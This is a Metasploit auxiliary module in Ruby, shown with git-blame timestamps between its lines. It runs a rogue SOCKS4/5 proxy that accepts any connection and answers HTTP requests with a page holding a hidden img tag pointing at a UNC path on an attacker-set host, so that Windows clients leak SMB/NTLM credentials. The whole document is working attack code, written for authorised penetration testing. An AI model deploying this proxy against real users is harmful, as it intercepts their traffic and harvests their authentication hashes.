2007-08-08 02:46:31 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-08-08 02:46:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'SOCKS Proxy UNC Path Redirection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module provides a Socks proxy service
|
|
|
|
that redirects all HTTP requests to a web page that
|
|
|
|
loads a UNC path.
|
|
|
|
},
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Proxy' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Proxy'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Proxy'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1080 ]),
|
|
|
|
OptString.new('UNCHOST', [ false, "The address of the UNC host.", nil ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
2015-04-03 11:12:23 +00:00
|
|
|
#print_status("New connection from #{client.peerhost}:#{client.peerport}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_data(client)
|
2015-04-03 11:12:23 +00:00
|
|
|
#print_status("Data from #{client.peerhost}:#{client.peerport}")
|
2013-08-30 21:28:54 +00:00
|
|
|
process_socks(client)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_close(client)
|
2015-04-03 11:12:23 +00:00
|
|
|
#print_status("Closed connection from #{client.peerhost}:#{client.peerport}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
exploit()
|
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def reject(client)
|
|
|
|
rej = "\x00\x5b" + ("\x00" * 6)
|
|
|
|
client.put rej
|
|
|
|
true
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def process_socks(client)
|
|
|
|
req = client.get_once
|
|
|
|
return if !(req and req.length > 2)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Versions
|
|
|
|
case req[0,1]
|
|
|
|
when "\x04"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sver, sreq, sport, shost, suser, sname = req.unpack('CCnA4Z*Z*')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle connections only
|
|
|
|
if (sreq != 0x01)
|
|
|
|
return reject(client)
|
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle socks4a
|
|
|
|
if (shost[0,3] == "\x00\x00\x00")
|
|
|
|
shost = sname
|
|
|
|
else
|
|
|
|
shost = shost.unpack('C*').join('.')
|
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Connection attempt from #{client.peerhost}:#{client.peerport} to #{shost}:#{sport} #{suser.inspect}")
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
client.put("\x00\x5a\x00\x00\x00\x00\x00\x00")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
when "\x05"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sver, scnt, sauth = req.unpack('CCA*')
|
|
|
|
client.put("\x05\x00")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req = client.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sver, sreq, sdmp, stype = req.unpack('CCCC')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle connections only
|
|
|
|
if (sreq != 0x01)
|
|
|
|
return reject(client)
|
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
saddr = req[4,req.length - 4]
|
|
|
|
case stype
|
|
|
|
when 0x01
|
|
|
|
shost = req[4,4].unpack('C*').join('.')
|
|
|
|
sport = req[8,2].unpack('n')[0]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
when 0x03
|
|
|
|
shostlen = req[4]
|
|
|
|
shost = req[5, shostlen]
|
|
|
|
sport = req[5+shostlen, 2].unpack('n')[0]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
when 0x04
|
|
|
|
shost = req[4,16].unpack('n').map{ |x| "%.2x" % x }.join(':')
|
|
|
|
sport = req[20,2].unpack('n')[0]
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Connection attempt from #{client.peerhost}:#{client.peerport} to #{shost}:#{sport}")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = "\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00"
|
|
|
|
client.put res
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
return reject(client)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req = client.get_once
|
|
|
|
hed = req ? req.split(/\n/)[0].strip : ''
|
|
|
|
host = datastore['UNCHOST'] || Rex::Socket.source_address(client.peerhost)
|
|
|
|
share = Rex::Text.rand_text_alpha(8)
|
|
|
|
filename = Rex::Text.rand_text_alpha(8)
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Request from #{client.peerhost}:#{client.peerport}: #{hed}")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
body = %Q|
|
|
|
|
<html><head><title>#{Rex::Text.rand_text_alpha(8)}</title><head><body>
|
|
|
|
<img src="\\\\#{host}\\#{share}\\#{filename}.jpg" style="visibility: hidden;">
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|.gsub(/\s+/, ' ')
|
2007-08-08 02:46:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = "HTTP/1.1 200 OK\r\n"
|
|
|
|
res << "Content-Type: text/html\r\n"
|
|
|
|
res << "Connection: Close\r\n"
|
|
|
|
res << "Content-Length: #{body.length}\r\n\r\n#{body}"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
client.put(res)
|
|
|
|
end
|
2007-08-08 02:46:31 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
2008-11-19 06:58:01 +00:00
|
|
|
end
|